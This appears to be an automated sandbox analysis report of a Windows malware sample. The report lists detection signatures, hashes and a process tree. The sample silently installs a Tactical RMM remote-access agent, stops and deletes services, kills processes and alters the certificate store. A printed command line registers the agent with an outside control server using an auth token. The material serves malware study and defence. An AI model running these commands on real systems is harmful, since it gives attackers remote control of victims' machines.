Analysis

  • max time kernel
    148s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/06/2026, 03:38

General

  • Target
    2026-06-27_b60572f29c05f5ac801f6081ab8cf844_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
  • Size 4.7MB
  • Sample260629-d7bfdsdv7q
  • SHA256 9ab8f66539b14ee86836159c27ac52aba1b59be8fbb8a3c59c79cc38a1c5b24b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Executes dropped EXE 4 IoCs
  • Stops running service(s) 4 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Program Files directory 6 IoCs
  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

  • System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

    Inno Setup installer

  • Kills process with taskkill 1 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-27_b60572f29c05f5ac801f6081ab8cf844_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-27_b60572f29c05f5ac801f6081ab8cf844_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe"
    1⤵
    • Modifies trusted root certificate store through registry
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:6084
    • C:\ProgramData\TacticalRMM\tacticalagent-v2.4.2-windows-amd64.exe
      C:\ProgramData\TacticalRMM\tacticalagent-v2.4.2-windows-amd64.exe /VERYSILENT /SUPPRESSMSGBOXES
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:788
      • C:\Users\Admin\AppData\Local\Temp\is-97VOM.tmp\tacticalagent-v2.4.2-windows-amd64.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-97VOM.tmp\tacticalagent-v2.4.2-windows-amd64.tmp" /SL5="$E0244,3523096,825344,C:\ProgramData\TacticalRMM\tacticalagent-v2.4.2-windows-amd64.exe" /VERYSILENT /SUPPRESSMSGBOXES
        3⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:7164
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrpc
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:6416
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.1 -n 2
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:1040
          • C:\Windows\SysWOW64\net.exe
            net stop tacticalrpc
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1128
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop tacticalrpc
              6⤵
              • System Location Discovery: System Language Discovery
              PID:5428
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c net stop tacticalagent
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5016
          • C:\Windows\SysWOW64\net.exe
            net stop tacticalagent
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:5552
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop tacticalagent
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2888
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:6812
          • C:\Windows\SysWOW64\PING.EXE
            ping 127.0.0.1 -n 2
            5⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:2780
          • C:\Windows\SysWOW64\net.exe
            net stop tacticalrmm
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:6576
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop tacticalrmm
              6⤵
              • System Location Discovery: System Language Discovery
              PID:2980
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c taskkill /F /IM tacticalrmm.exe
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:6800
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /F /IM tacticalrmm.exe
            5⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3348
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c sc delete tacticalagent
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5940
          • C:\Windows\SysWOW64\sc.exe
            sc delete tacticalagent
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:6228
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c sc delete tacticalrpc
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:7068
          • C:\Windows\SysWOW64\sc.exe
            sc delete tacticalrpc
            5⤵
            • Launches sc.exe
            • System Location Discovery: System Language Discovery
            PID:6324
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c tacticalrmm.exe -m installsvc
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:5276
          • C:\Program Files\TacticalAgent\tacticalrmm.exe
            tacticalrmm.exe -m installsvc
            5⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:6592
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c net start tacticalrmm
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:6480
          • C:\Windows\SysWOW64\net.exe
            net start tacticalrmm
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:6628
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 start tacticalrmm
              6⤵
              • System Location Discovery: System Language Discovery
              PID:6196
    • C:\Program Files\TacticalAgent\tacticalrmm.exe
      "C:\Program Files\TacticalAgent\tacticalrmm.exe" -m install --api https://api.exoduscloud.de --client-id 1 --site-id 1 --agent-type server --auth d999179f50ce0c91828176e74f3843a1e96b554fd370dcc9ba406534073f1412
      2⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:6308

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        tacticalrmm.exe

        • Path C:\Program Files\TacticalAgent\tacticalrmm.exe
        • Size 8.8MB
        • SHA256 e969f1c1ca7ceade771c85174ebea39e3f546fddda7b5b31a5bd705007be7521
        • MD5 SHA1 SHA512 SSDEEP TLSH

        tacticalagent-v2.4.2-windows-amd64.exe

        • Path C:\ProgramData\TacticalRMM\tacticalagent-v2.4.2-windows-amd64.exe
        • Size 4.2MB
        • SHA256 c51884c3c49f2e0caf81568420777c7527f662926b599f66c317c5630be5ecd9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        tacticalagent-v2.4.2-windows-amd64.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\is-97VOM.tmp\tacticalagent-v2.4.2-windows-amd64.tmp
        • Size 3.0MB
        • SHA256 1444a9ff157fe8b7adb966d162ebf856e7093b538c63c97d7b49d59947c350cc
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/788-5-0x0000000000400000-0x00000000004D7000-memory.dmp

        memory/788-24-0x0000000000400000-0x00000000004D7000-memory.dmp

        memory/7164-12-0x00000000024F0000-0x00000000024F1000-memory.dmp

        memory/7164-23-0x0000000000400000-0x0000000000711000-memory.dmp